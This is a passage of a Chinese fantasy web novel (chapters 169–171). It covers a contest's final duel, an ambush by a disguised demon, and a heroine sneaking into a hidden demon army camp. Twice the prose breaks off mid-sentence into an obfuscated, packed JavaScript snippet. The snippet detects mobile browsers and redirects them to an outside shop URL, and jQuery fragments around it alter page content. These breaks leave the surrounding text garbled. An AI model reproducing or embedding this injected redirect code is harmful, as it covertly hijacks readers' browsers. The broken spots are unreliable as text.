云魁神情凝重,风宿和越沧一时没见起身,应是昏死过去,加上两炷香的等候时间与路程所需的时间,两人恐怕很难在规定时间内赶回来。 赛场上只剩下三人。 石兽气喘吁吁地支起身体,一双骇人的眼睛从场上三人身上划过,辛芜起了一身鸡皮疙瘩。在它再度进攻之前,三人缩回了先前的甬道。 “真是的!快没有时间了!现在该怎么办?我们真的能打过它吗?”辛芜蹲在地上,满脸愁容。 云魁望着外面的石兽没有做声,辛芜望着他冷静的侧脸忽然有些气恼:“是你说要试试的,结果赔了夫人又折兵,我们损失了两个人,它可以说是毫发无损。你是不是故意的?” 越棠棠比了个嘘,目光也静静地落在石兽身上。 辛芜扯了扯越棠棠的衣摆,疑惑道:“你们在看什么?” “知己知彼百战百胜,我们无法与它硬碰硬,那便要找出它的弱点。”越棠棠轻声解释。 “可是时间不多了。”辛芜焦急道。 越棠棠目不转睛地盯着石兽,没有再理会辛芜。 “它转身的时候比刚才慢了两秒。” “它的左腿受伤了,它不想让我们看出来所以一直将重心压在了右边。”云魁看了一眼越棠棠,突然提步从甬道走出去。 辛芜双眼一瞪,站起身问:“他去做什么?” “我叫你跑的时候,你就往对面跑,其他什么也别管。”越棠棠并不看她,注意力紧紧缩在那只石兽身上,靠在门边蓄势待发。 云魁很快跃至石兽跟前,石兽朝着云魁一掌拍下。他没有避让,巨大的阴影笼罩上他的身体,他仿佛被压在了掌下。 石兽眼中划过一丝得意,余光落在甬道中瑟缩的辛芜,仿佛在说,下一个就是你。 “你叫云魁去送死?”辛芜难以置信地看着越棠棠惊呼道。 越棠棠懒得理她。 须臾,石兽缓缓挪开脚掌,轻烟消散,掌下竟然空无一物。石兽眼中闪过一丝错愕,低头在四周搜索。 不知何时,越棠棠突然出现在它身后,一道金光乍现,一根粗壮的木棍出现在她的手中,将顶头的日辉劈成了两半。 棍子在双手间一滚,被她反手紧紧握住。趁其不备,越棠棠对着石兽的后脑猛烈一击。打得它眼冒金光,嘶吼一声,昏昏沉沉一掌就朝越棠棠袭来。 与此同时,地面突然传来阵阵崩裂声。 一个人影破土而出,扬袖一推,一道仙力径直打在石兽支撑在地面的那只手臂上。 又一声嘶吼从石兽口中溢出。 手臂咔嚓一声,石兽庞大的身躯向后倒去。时间所剩无几,已经没有多余的时间再与它周旋。 越棠棠冲辛芜大吼:“快跑!” 而后与云魁一同向对面的甬道飞驰而去,两道身影如同闪电劈过,一瞬间挤入洞口。 辛芜跑得慌慌张张,经过那石兽时被它的喘息吓得一个慌神,不小心跌了一跤。 “等等我!”辛芜一声惊呼,越棠棠转头看她,却发现洞口一道石门缓缓合上,将辛芜错愕的脸关在了门外。 169. 第 169 章 “怎么样?” 云姬用一根鱼线将玉荣仙者指甲缝中的血迹刮下来,将鱼线对着光细细观察。在日晖照射下,鱼线融化在光晕中,两段几近透明,只是中间猝然断裂于黯淡的黑色。 云姬脸色不太好看,不知道是身体尚未恢复还是一无所获。 “有何异样?”晏离问。 云姬迟疑了一下,说:“天界之人血液中会混有一丝原本的仙力,只能烧了它试试看。如果那人的仙力和旁人不同,或许能找到线索。” 慕小闲斩钉截铁:“烧。” 鱼线被点燃,裹着黑色的血迹在火焰中消失,一缕残留的气向上飘起,从几人的眼前飘过。 慕小闲看了晏离一眼,两人神情皆是凝重之色。唯有云姬不明所以,疑惑道:“他的仙力是紫色的?” “是魔气。”慕小闲目光沉沉地看着空气中飘散的那抹紫色。 看来这个凶手很有可能是魔族,他会出现在这里,说明魔族确实渗透进了青丘边境。他们的判断没有错。 “魔气?”云姬吃了一惊:“你们......这......"看慕小闲的神情,好像明白了她为什么会出现在这里,但又不明白她为何会和魔域牵扯上关系。 云姬想起来先前慕小闲就是因为被怀疑是和魔族勾结,毒害天庭上神,才被抓进北溟海极,难道慕小闲真的是魔域的人?她看慕小闲的眼神稍显犹豫,夹杂着惊讶、怀疑、恐慌、故作镇定......差点把慕小闲逗笑了。 “我来这里确实和魔族有关,不过我并非站在魔族那一边,这件事不要声张。”慕小闲低声解释道。 云姬暗暗舒了一口气,眼睫一颤,神情又凝重起来:“我们得快点回去,那个人可能还在赛场上。” 三人回到观赛台,大屏上,越棠棠与云魁已抵达越仙台。 几级石阶之上,是一片圆形空场,中间凸起处为一块四方石台。空地四周有四根雕刻着繁杂的纹样的石柱,花纹如龙如虎,像几只威武雄壮的神兽伫立四方,守护着这座石台。 石台上摆放着一只巴掌大的锦盒,那就是这次越仙大赛的最终奖励。 慕小闲望着屏幕上云魁的身影,眯了眯眼,沉声道:“那个假扮梦谭的人恐怕还在赛场内伺机而动。” 晏离微微点了下头,目光随着屏幕上的身影而动:“他的最终目的不是那枚转念宝珠。” 没错,如果他只是想要转念宝珠,大可以老老实实比赛。从他在第一赛段就与风宿大打出手来看,他根本没想过通关。 “风宿出来了吗?”晏离问:“他与假梦谭或许有些渊源。” 风宿坐在观众席第一排,正全神贯注地看着大屏,慕小闲找过去时还遭了他不耐烦的白眼。 “别挡着我看比赛。我倒要看看最后赢的人是谁。” 慕小闲说:“我们在查梦谭的事情。” 风宿一愣,眼神中不由添上了几分厌恶:“他怎么了?我听说那个参赛者是冒名顶替的?” 云姬上前解释道:“他混进比赛可能有别的企图,我们想问问你有没有察觉到不对劲的地方。” “我怎么知道?老子一进去就被他抓着打,虽然没打到,但是吃了不少亏。若不是他消耗了我的精力,说不定我也能挺到最后。我不管他是真是假,是何方神圣,只要让我再看到,我定然饶不了他。”风宿愤愤地说。 “风宿,你小子可以啊,居然能挺到第三赛段。”旁边一位越仙寨本地装扮的路人经过时,侧头对风宿夸赞道。 风宿收敛了表情,讪笑了一下:“哪里哪里,阿伯您慢点走,比完赛我得空去看您。” 路人走远了几步,回头摆摆手,话语很是熟稔:“看什么看,臭小子,又是来蹭饭的。” 风宿对上慕小闲探究的眼神,心中不知为何突然有些紧张,觉得她此刻的眼神颇有种和外表不符的威严。 慕小闲沉默了须臾,问:“你是越仙寨的人?” 风宿点点头:“是又怎样?” 许是越仙谷的本地参赛者大多姓越,遇到其他姓氏的参赛者会下意识认为他们来自其他地方。 晏离若有所思:“你和其他参赛者都认识?” 风宿随口嘟囔道:“越仙寨就这么几条街,说认识都认识,但熟悉的程度嘛不一样。”他余光扫到大屏上的越棠棠,说:“就拿棠棠来说,我们住的地方近,小时候经常在一块儿玩儿。她家里......不大好,我有时还偷拿自己的衣物送给她穿呢。” 风宿见慕小闲目光中多了几分审视,连忙摆手:“我对她可没意思。只是她小时候一头短发,个子身型和我看上去差不多,性格也不像女孩,我和她玩得到一块儿。” “既然你们早就认识,第一赛段时为何你们一句话也没说?”慕小闲不禁疑惑道。他们两人在比赛时颇有距离,并未搭话,也没有明显的眼神交流,仿佛从未见过。 风宿有些不耐烦地嘟囔道:“天天低头不见抬头见,家长里短都一清二楚,有什么可在比赛的时候说的。再说......那都是以前,这么多年过去,如今也没那么亲近。”说着,他悄悄挪开眼神,仿佛注意力又被大屏上的画面吸引过去,不再理会慕小闲几人。 大屏上,越棠棠与云魁的身影如同两个石像静静伫立在越仙台前,两人并未出声,也没有动作,但周遭的气氛却越来越紧绷。 宝珠只有一枚,现在却有两人。 越仙台四柱之间,有一层透明的结界。结界气息微弱,云魁本想上来就劈,但被越棠棠制止。 “想要破除这座结界并不难,我们不妨先想想,进去后那颗转念宝珠归谁。”越棠棠抱起双臂,冲云魁挑了下眉,眼中是志在必得的决心。 越棠棠的英姿让云魁心中一动,但他没有退让,如果此时退让,必然入不了越棠棠的眼。 “我们比一场,谁赢了转念宝珠归谁。”越棠棠说。 云魁说:“我不打女人。” “巧了,我只揍男人。”话音未落,越棠棠手上又出现了那根令人胆战心惊的木棍。木棍耍得漂亮,灵活得就像长在她身上的一部分,将室内的气流搅得如同狂风大作。 云魁在木棍下闪躲:“我看是你本来就想揍我。” 越棠棠也不掩饰,追着他道:“没错,昨天晚上你将妹妹独自丢在街上,我就看你不爽了。” 云魁眸中闪过不悦,反驳道:“我没有将她丢下!” 棍子朝当头他劈来,他一手挡下,后退两步,手臂处传来一阵胀痛。他猛地甩开手,怒道:“何况那是我妹妹,要揍也是她揍!” 场外,慕小闲与晏离幽幽地瞥向当事人云姬,云姬尴尬地眨了眨眼:“我没想揍他。” 云魁不正面攻击越棠棠,只是在迸射的土石间游走,躲避她的攻击。烟尘兜头而下,掩盖了他的视线,他双眼却依旧清明,找准时机纵身钻进地下,消失在众人的视线中。 越棠棠没见过这种打法,只觉得云魁避而不打,是不敢和自己打,十分窝囊。她的长棍重重击打在地上,用力一划,地上土石翻滚,留下一道弧形印记,骂道:“你出来——” 忽然越仙台上传来一阵嗡嗡声。 两人皆以为对方进入了结界,想要先一步夺取锦盒。越棠棠的木棍脱手飞出,直击声音来处。而云魁则是从地下到达了声音发出的位置,一跃而出。 云魁破土的刹那,就见木棍直冲他而来。他赶紧向后退去却因惯性避闪不及,被木棍重重击中肩膀。 顷刻之间,云魁以为越棠棠是故意用计诱他出来,心里憋了一口气,终于不再躲避,同越棠棠动手。 两人无所顾忌,皆使出全力,两股仙力对冲,犹如两道霓虹在狭小的空间迸发。 砰的一声,屏幕突然漆黑一片。 观赛台躁动起来:“怎么没有画面了?” “正在精彩的地方,到底谁赢了?” 小楼中显然也看不到比赛的画面,几位穿着较好的人推门而出,站在走廊观察外面的情况。 不多时,小楼中传出一声:“什么都看不到!退钱!” 楼外的群众小声嘀咕:“还好没花进去看,现在谁都看不了了。” 看不见赛场上的情况,慕小闲担心云魁的安危,想要冲进赛场,但被组织人员拦住。她懒得跟他们废话,一扬袖将他们扫到一边,与晏离冲入北入口。 云姬跟在他们身后,身上伤势未愈,脚程慢了一步。在她离开时,人群中传来一声细碎的嘟囔:“诶,刚才那个女人,是不是和外面那张通缉令长得有点像?” 云姬脚步一顿,回头去循声望去,却没有找到声音的来处。她来不及细想,只追着慕小闲的身影而去。 越仙台前,两人精疲力竭,倒在地上无力望天。 云魁躺在地上,胸口渐渐平息:“你为什么想要转念宝珠?” 他的声音带着回音落在越棠棠耳中,她沉默了许久,才带着一丝倔强的口气说:“谁想要转念宝珠。” 云魁侧头看她,若不是冲着转念宝珠,为何参加越仙大赛?为何如此拼命? 越棠棠又沉默了一会儿,目光望着头上阴暗的洞顶,思绪像是穿过墙壁,飘向了遥远的地方。正当云魁以为她不会告诉他时,突然听到越棠棠喃喃:“我曾有一个哥哥......” 云魁眼中闪过一丝好奇,偏头望向越棠棠,却发觉她目光复杂晦涩,仿佛身上压着沉沉的重担。 越棠棠眼中浮现淡淡的怀念,想要努力抬起嘴角,却弯成了一个别扭的弧度:“小时候我们相依为命,他照顾我长大,为我遮风挡雨,对我极好。我想要谷中小朋友玩的布老虎,他就捡了碎布亲手为我缝了一只。我想要阿嬷篮子里的野山花,他就跋山涉水摘给我。我想要好看的衣服,他就挨家挨户地替人做工...... “我小时候穿百家衣,打扮得像个小男孩,他攒了很久的钱给我买了一条新裙子,当我穿上时他露出的笑容仿佛春风化雪,我永远也忘不了。” 越棠棠的声音渐渐低了下去,室内重归寂静,默了半晌,她接着说:“他听闻越仙大赛的奖品转念宝珠十分罕见,若能得此宝物,就能获得超凡的力量。他说他要变得更加强大,这样才能永远保护我。” 云魁听出她言下之意,感到有些意外:“他曾参加过越仙大赛?” 越棠棠眼睫微颤,垂眸掩去了眼中神色:“八年前。他是上一届越仙大赛的获胜者。” 云魁愈发觉得不对,拧眉问:“他怎么了?” 越棠棠抬起眼睫,眼眶红润道:“他得到了心心念念的转念宝珠,起初那枚宝珠让他感到通体舒畅,不论修炼何种仙术都能如鱼得水,他以为自己真的得到了秘宝,于是日日夜夜勤学苦练。可是渐渐地,他身型变得瘦削如柴,脾气也越来越古怪。 “他常常对我发火,过后又会陷入深深自责。他变得越来越不像他,他察觉到不对,可是已没有办法摆脱。那段日子在他反复无常下,我变得很敏感,不愿和他待在一起。有一天我在外玩到很晚,他找来时双眼赤红,浑身滚烫如同在火炉中煎熬。他将我扯回屋里,第一次动手打了我。 “我又惊又委屈,在屋里上下逃窜,他绷着一张脸像没有知觉一般,还想再次对我大打出手。我被逼至墙角,吓得嚎啕大哭,许是我的哭声唤醒了他一丝清明,他震惊之余将本来袭向我的攻击,转移到了自己身上,走火入魔吐血而亡。” 云魁倒吸一口冷气:“是那枚转念宝珠?” 越棠棠惨笑了一下,偏头望向云魁,眼中含着恨意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370180|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你不觉得奇怪吗?像越仙谷这样偏僻的地方,为什么会举办越仙大赛?这些转念宝珠从何而来?” 密室中静得只余微弱的气流从门缝穿过的声息,沉寂许久,不等云魁回答,越棠棠狠声道:“因为越仙谷中混入了魔族,越仙大赛人多眼杂,是为了掩盖他们真正想要的做的事!转念宝珠不过是个将人骗来的幌子,那枚宝珠只会吸食人的精气,吞噬理智,让人变得残暴易怒! “我发现这件事后曾想告诉寨子里的人,但他们皆不信我,以为是我年纪太小,伤心过度产生了妄想。他们不信我,我就暗中收集证据,有一次我只差一点就抓住他们了。” 越棠棠眸中闪过懊悔的神色,咬牙道:“我发现有人混入越仙寨,我偷偷跟了他们一路进入山谷之中,他们越走越深,四周越来越荒芜,可就在这时......”越棠棠顿了一下:“我不小心踩在一根枯枝上发出了响声,他们立刻注意到动静,向我追来,我吓得拼了命地跑,在杂草丛生的山间奔逃,好在我对越仙谷的地形十分熟悉,才能侥幸逃回寨中。” 云魁惊愕道:“他们是魔族?” 越棠棠斩钉截铁:“他们身上的气息与你我不同,不是魔族又是何人?” 云魁眸中透着迟疑,思忖道:“可是魔族来越仙谷想做什么?” “我不管魔族想做什么,他们害死了我哥哥,此仇不报,我难以入眠。我要毁掉那颗转念宝珠,找出他们藏在山谷间的秘密,向所有人揭露魔族的恶行!”越棠棠突然翻身而起,一棍扫开柱子间的结界,顷刻间扑上越仙台。 云魁心里一惊,电光火石间联想到慕小闲出现在此的缘由,顿时觉得大事不妙。他起身想要阻止,但为时已晚。 越棠棠没有丝毫犹豫打开了放在石台上的锦盒,眸光一动,伸手去取盒中放置。 与此同时,石台上突然冒出大量的白色浓烟。 越棠棠袖子掩住口鼻,后退几步,可惜还是着了道,倒地昏死过去。云魁赶紧上前查看,见她只是晕过去,便将她拖到角落处,护在身后。 云魁从天庭而来,对天界三地的形势颇为敏感,很快就想到越仙谷在青丘与魔域的边界。若越棠棠刚才所言是真的,越仙大赛一定没有那么简单。 通往越仙台的石门缓缓打开,一个人影出现在洞口,身后的光照进来,将他的影子拖得很长。 云魁身上染上一层寒意,他的身体向后压了一下,但越仙台上没有遮蔽物,他完完全全暴露在那人的目光之中。 “阁下是谁?”云魁眯着眼沉声问。 那人没有说话,门在他身后缓缓合上,光线继而暗了下来。 他的目光不偏不倚,踏过飘散的白色烟雾,一步一阶走上越仙台。 云魁一怔,心像被一根细线悬吊在半空。 那人冷着一张脸,面无表情,像一具没有血色的尸体。 居然是梦谭。 他不是在第二赛段淘汰了吗? 难道他并没有从赛场出去? 他是来抢夺转念宝珠的吗? 云魁一时分不清他是何居心,于是试探道:“梦谭,你是来取转念宝珠的吗?” 梦谭抬起狭长的眼睛,漠然地瞥向他,下一秒,一道紫光如同箭矢向云魁袭来。云魁抱起越棠棠,飞身一跃,回眸一瞥,刚才他们躲藏的地方陷下去一个深坑。 就算云魁再无见识,联系前因后果也隐隐约约猜到了那是魔气。 看来越棠棠刚才说的八九不离十,越仙谷果真与魔域有勾结,他的目标不是转念宝珠而是越棠棠。可是梦谭刚才为何一直追着风宿不放? 梦谭飞快闪到云魁身后,一掌劈下。云魁带着越棠棠躲闪不及,一口鲜血喷涌而出,双膝重重砸在地上,但仍是没有放手,让越棠棠跌落在地上。 越棠棠身上沾上星星点点的血渍,一张睡颜安稳又平静,没有丝毫醒来的迹象。云魁将她放在地上,擦了擦嘴角的猩红,转身对着梦谭就是一拳。 梦谭轻而易举地跳开,眼中仿佛闪过了一丝不屑。 “你是来找越棠棠的?你和她有过节?” 梦谭似乎不想与云魁多说,眼神微微一动,手上的攻击更加频繁。 “有什么过节需要置她于死地?”云魁被梦谭逼退到角落,两只手臂交叉挡在额前,拦住了梦谭的攻击。他的余光落在远处越棠棠身上,心想外面应该能看到这里发生的一切,只要再坚持一下,一定会有人来支援他们。 梦谭冰冷的目光同样落在越棠棠的脸上:“杀了她,没有理由。” 虽然他说没有理由,但云魁合理怀疑,刚才越棠棠说的就是理由。只是她暗中调查魔族一事,真的能逃脱魔族的觉察吗? 云魁心中产生了一股说不清道不明的滋味,在他理清楚这种异样从何而来前,他不能让越棠棠出事。 云魁撑起身体,“我不准你动她。” “那你也去死吧!” 梦谭大手一挥,一道劲气打向云魁,在云魁跳开的瞬间,竟然转变了方向。云魁眼前一片花白,身体重重跌落在越棠棠脚边。 他的脸肿迅速肿起,只能支起一边眼皮,从缝隙中模糊地看到一只脚缓缓迈近。 “咳咳......别动......” 梦谭见他还有气,准备再加一击,却发现他意识涣散,只是强撑着不让自己昏迷。云魁淌血的嘴唇还在嚅动,梦谭低下头,听见他小声说: “马上......马上就会有人来......” 梦谭嗤笑一声,眼中闪过一丝寒光,终于不再犹豫...... 突然,石门轰然倒塌。 门外闪入两个身影。 袖摆轻拂,仿佛并未出手,顷刻之间,梦谭重重砸向石壁倒地不起。 170. 第 170 章 慕小闲与晏离一踏入越仙台,就看到假梦谭想要对云魁不利。慕小闲想也未想一招祭出,将尚未反应过来的梦谭击倒在地。 云姬姗姗来迟,一看云魁狼狈的模样吓得浑身发颤,立刻上前为他疗伤。 慕小闲见假梦谭昏迷,上前想要检查他的身体,手指刚一碰到他的领口,就被晏离拦下。她不明所以地抬眼看向晏离,对方云淡风轻地说:“我来。” “他是魔族。”此人指尖还萦绕着一丝魔气。 “他想做什么?”慕小闲疑惑道。且不说他一进赛场就抓着风宿打,风宿淘汰之后,他为何又转而攻击云魁和越棠棠? “他的目标是掩盖魔族的痕迹。越棠棠知道越仙谷与魔族有牵连,参加越仙大赛就是为了找出证据。”云魁睁开眼睛,将刚才发生的一切告诉了几人。 慕小闲神情凝重地走到石台边,取出转念宝珠在手中掂量掂量,“嘶”了一声,眉头越拧越紧。 “不对,这不是转念宝珠。”她喃喃道,先前她在花神山时可见过真正的石头显灵,这块宝珠不仅没有那种纯粹通透的感觉,在触及时还令人生出一丝烦躁。 宝珠“啪”地一声跌落在地,顿时碎成了几瓣,裂口的切面纹路繁复,如同根根爆裂的青筋,除此之外看不出有何古怪。 但,就在宝珠落地之时,发出的那一声闷响,让晏离目光锁定在了脚下。他与慕小闲对视一眼,撩起衣袍蹲下身,在地上敲了敲。 他点了一下头,用仙力将石台挪开一米,地面仿佛裂开一道口子。 果然如他们所想,石台下是空的,数级台阶坠入地下深处,一片昏暗。 最危险的地方就是最安全的地方,越仙台一次又一次在越仙大赛中暴露在众人的目光之下,但谁也没有注意到越仙台底下竟然就是越仙谷的秘密所在。 慕小闲转头交代道:“云魁云姬你们留在这里,越仙大赛的组织人员应当马上就会赶来。” 云魁靠在墙壁上,拧眉道:“等等,你们要下去?可是......” “我们就是为魔族而来,不用担心,我已经不是之前的慕小闲了。”说完,转身跳进石台之下。 云魁知道她已不是之前那个一点仙力都没有的慕小闲了,她适才破门而入,居然一掌就让梦谭再无回手之力,实力不容小觑。更何况,她身边还有一位摸不清实力的师父。 ———————— 石阶一级一级向下,通向黑暗的甬道之中。甬道内悄无声息,他们没有燃灯,唯恐会打草惊蛇。 两人复行数十步,距离越仙台越来越远,直到前方有熹微的光从缝隙中透过来,才见到又一道石门。 慕小闲借着缝隙透出的光向外望去,近前是大片郁郁葱葱的草丛,远处隐隐约约传来一片低喝声。 她伏在门边想推门而出,目光陡然向下一掠,一个身着戎服的人正半倚靠在门外,怀里抱着一支长矛打盹儿。 慕小闲暗道不妙,他们该不会一路走到魔域了吧? 须臾,远处走过来一个同样穿着的人,对这位守门人说:“醒醒,让你看门不是让你睡觉。” 守门人悠悠转醒,迷迷糊糊地嘟囔了一句:“唉,这荒山野岭哪儿来的人,不就是前些日子没给那些东西喂食,至于罚我来看这破门吗?我看越仙谷压根儿没发现呢。” 他讨好似的地对来人说:“阿兄帮我和大将说几声好的,快点让我回去训练,我在这儿都快闲出屁了。” 来人冷哼一声:“最好是没有人来,我听说青丘这段时间不太平,你小心一点。” 守门人连忙说:“是是是,那就先谢谢阿兄了。” 看来这里还在青丘境内,且没有离越仙谷太远,甚至有可能仍在越仙谷之中。 慕小闲身上冒出寒意,一个匪夷所思的猜测突然从脑海中蹦了出来,让她的呼吸乱了节奏:魔族在青丘练兵。 守门人昨晚喝了些酒,今日昏昏沉沉,还想再会周公,却听到身后传来石子在地面跳跃的声音。 他转头看向石门,侧头向门另一侧望了望,拄着长矛站起身。 是风吗? 门里又传来碎石子落地的声音。 守门人想:要不要通报?可如果门那边什么也没有,大将一定会罚他在这里多待几日。 守门人摇摇头,攥着长矛向石门走去,从缝隙向内看了看,只看到一片漆黑。 兴许是他的错觉,这里怎么会有人来呢? 他收回目光,刚要转身坐下,却又听到石子滚落的声音,仿佛就在耳边。 他一哆嗦,压着长矛,用力将石门推开,一步一步向内走去。小心翼翼行径约莫十步,四周一扫,并未见到有何异处,他一颗悬着的心终于落地,觉得自己一定酒还没醒。 就在他放下戒备时,身后猝然旋起一阵风,守门人还没转过身,便眼前一黑晕了过去。 慕小闲从阴影中走出,迅速扒走他身上的衣服,换上之后问晏离:“你看我像魔兵吗?” 她个头明显矮了一截,皮肤细腻通透,一双眼睛饶是在暗处也泛着莹莹光彩,除了一身装束可以说和魔兵毫无关系。 “不像。”晏离默了一下,伸手从她面上轻轻拂过。 慕小闲摸了摸自己的脸,手上粗糙的触感,和原来完全不一样。 “只能维持三个时辰,时间久了对皮肤不好。”晏离说。 慕小闲点点头:“三个时辰够了,我要去看看他们到底在做什么。” 本着打不过就加入他们的原则,慕小闲打扮成魔兵的样子,正大光明地从洞中走出,穿过大片草丛,走向远处魔兵的营地。而晏离则是在暗中悄悄护着她。 营帐的另一边,身着铠甲的士兵整齐地遍布整个操练场,军威赫赫,气势逼人。他们迈着雄健有力的步伐,喊着响亮的口号: “嘿——哈——” “嘿——哈——” 声势如排山倒海,震撼人心。 越仙谷确实是个掩人耳目的好地方,峡谷与山林将他们与世隔绝,如此大的阵仗,不过几公里外的越仙寨居然没有察觉。 慕小闲躲在草丛边暗中观察,目及之处的魔兵约莫两千,数量说多不多,说少在别人的地盘也不算少。 正当她聚精会神时,突然冒出一个人高声说:“兄弟姐妹都在辛辛苦苦操练,你却在这里偷懒!”吓得她一哆嗦,睁大了眼睛向后看去。 身后站着一个体型魁梧的魔兵,抱着双臂一脸不爽地看着她:“我们躲在这深山老林是为了什么?就是为了有朝一日能够重振魔族!” “还不快滚回去!”他一脚踹在慕小闲的臀部,将她踢到了练兵场上,滚到操练的一众将士面前。 慕小闲心里那个怄啊,她本想悄悄地来悄悄地走,怎么就变成了人群的焦点,看来某些人天生就无法低调。 列队将士前站着一位身着铠甲、仪表整肃的大将,他利眼如鹰,犀利深沉的目光落在慕小闲身上,让她觉得自己好似暴露在砧板上的鱼肉。 操练的魔兵停了下来,默默为这位小兄弟在心中点上一炷香。 “你迟到了。”大将沉声道。 慕小闲脖子一凉,仿佛被人架上了断头台。她小心翼翼地站起来,转身慢慢向后退去,尽量将身躯向内缩,让自己不那么起眼,压着嗓音道:“我马上归队。” 大将的声音在身后响起:“罚跑一百圈。” 一百圈?众魔兵在心中为他默哀。 慕小闲舔着脸回头道:“大将,我都迟到了,要是再跑上一百圈,就跟不上大家的进度了。” 大将不悦道:“这里没有你讨价还价的份。” 慕小闲只能老老实实开始围着练兵场跑圈,一圈下来,她找到了通往营帐的小路。 两圈过后,她留意到不远处还有一个山洞,门口有七八个魔兵把守。 三圈过后,慕小闲在心中慰问了大将全家老小。 五圈过后,慕小闲觉得不行,要真是跑上个一百圈,她能累死在这里,于是两眼一翻,捂着肚子跪倒在地,哎哟哎哟地叫唤起来。 操练的魔兵停下着她,大将从队伍中走出,冷眼问道:“你又怎么了?” 慕小闲捂着肚子叫道:“我......我肚子疼!” 大将略带探究的目光在她身上打量:“你想做什么?” 慕小闲把心一横,说:“我要入厕!” “憋着。在战场上就算拉在裤兜里也得忍着。”大将转身走回队伍前方,不再理她。 “现在偷懒,上战场只有死路一条!不能心存侥幸!”大将冲着魔兵训诫道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409708|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 魔兵整齐地吼道:“绝不偷懒!” 慕小闲气得半死,趁大将不主意,丢下一句“我拉在裤兜里了”,然后闪入通向营地的小路。 一旁的魔兵表示理解,一定会如实转告大将。 慕小闲一溜烟跑进营地,迎面走来几个魔兵,见到她面露疑色。慕小闲立马说:“辛苦了,大将让我去帮他取个东西。” 魔兵不疑有他,侧身让路。 她面无表情地从他们身边走过,实则心如擂鼓,生怕他们看出个端倪。 “站住!”身后突然传来一声,吓得慕小闲差点跳起来。 慕小闲心跳到了嗓子眼,脑海中已经将若是被发现,如何大打出手,如何和晏离退回越仙台演练了一番。她装作深沉地回过头问:“怎么了?” 魔兵指着另一个方向说:“走这边快点。” 慕小闲点点头:“没错,我得快点。”顺着方向疾步离开。 留下几名魔兵思忖道:“大将怎么会用这样没头没脑的人?” 数个统一的绿色营帐中,有一顶插了一只迎风招展的红旗,红旗上写着一个“将”字,唯恐旁人看不出那是大将的帐篷。 慕小闲趁人不注意,悄悄溜过去,躲在帐篷的背面屏息凝神、侧耳倾听帐内的动静。里面传来轻微的摩挲声,看来有人在其中,但说的内容是什么,她听不真切。 慕小闲在帐外等了片刻,有人走了出来,又等了半晌,见里面没有动静,她才暗自潜入。 在天界当小偷要格外小心,因为不知会不会有稀奇古怪的仙术,能够看出有人动过他们的东西。 慕小闲不敢随意翻找,只是在营帐中东看看西瞧瞧。帐篷中摆放着一张粗糙的木桌,像是就地取材砍的树木临时拼接、削减制成,果真是艰苦朴素的军中生活。 桌上盖着一张宽大的桌布,一边摞着几本旧书,另一边摊着一张图纸。图纸上堆砌着几组鬼画符,慕小闲看不明白,却也知道是魔族的文字。 她一眼扫到墙上挂着的一张版图,她上天之后辗转天庭与青丘各处,但从未看过天界的版图。图上标注的不仅有天庭和青丘,还有魔域的位置。魔域位于天庭和青丘南方,版图与天庭和青丘有接壤之处,都城却并不十分靠近,孤僻地悬挂在地图下方,犹如一只桀骜不驯的苍鹰。 慕小闲的目光沿着自己升天之后辗转的路线,从天庭开始到北溟海极,再到长乐宫、竹隐山、武祁山、花神山、越仙谷......每一处发生的事情仿佛都历历在目。 青丘之主被魔族替代,边境有魔兵驻守,青丘已然在魔族的掌控之下。若是说神魔大战战败,他们理应攻占天庭,关青丘什么事?他们为何从青丘下手? 魔族将他们的宏图伟业挂在这远离尘世的深山老林中,他们不仅想要光复魔域,应当还有更加隐秘的企图。 难道他们想借刀杀人,以青丘的名义挑战天庭?不,这太费周章了,何况青丘从未有与天庭对抗的实力。 唯有一个可能,就是魔域想要联合青丘之力,再度发起神魔大战。 慕小闲为自己的猜测感到心惊,魔族卧薪尝胆万年,恐怕是为了将天界三地一齐卷入万劫不复之地。 就在她分神之时,营帐外突然传来一连串匆匆脚步声,听上去似乎不止一人。 慕小闲本想撩起桌布躲进去,但若是大将回来坐在桌边,那她岂不是要冒着生命危险闻大将的脚丫? 营帐内没有可以躲藏的地方,唯有一个巨大的暗红色木箱横在桌边。慕小闲打开箱子一看,里面尽是些鱼虾。顾不得胃里一阵翻滚,她将鱼虾藏进了桌布底下,自己翻身躲了进去。 箱子里又闷又臭,慕小闲捂着鼻子缩在箱子里,听到有人进了帐篷,竟然径直走向了这个箱子问:“就是这一箱吗?” 竟然躲进了敌人的目标! 又一人答道:“是的,大将说是新到的货。” 可不是新到的?在你们进来之前才刚刚自投罗网的! 箱子的锁咔哒一声开了,一丝光线挤了进来,慕小闲心脏跳到了嗓子眼。 “诶别打开,特别臭。”有人嫌弃地说道。 箱子遂阖上,慕小闲的心脏随着箱子关上回到自己原本的位置。 “拿去给他们尝尝。” “是。” 171. 第 171 章 箱子一摇一摆地抬起来,慕小闲胃里翻腾得更加剧烈。什么叫人为刀俎我为鱼肉?此刻她就是砧板上的那条傻鱼! 箱子摇摇晃晃走了不久,突然停下来,外面有人说:“这是新到的货,给那些东西的食物。” “放进去。”不知是谁应了一句。 复行十几步,箱子被放下,几人随着渐行渐远的脚步声离开。 慕小闲才松了一口气,突然箱子咔哒一声,被人打开了一条缝。她紧张得快要没了呼吸,要是箱子打开,她应该对外头那人说什么? “我不小心睡着了,醒来就在箱子里。” “那些鱼虾把我打晕了装在箱子里。” “不管你信不信,是箱子先动的手。” 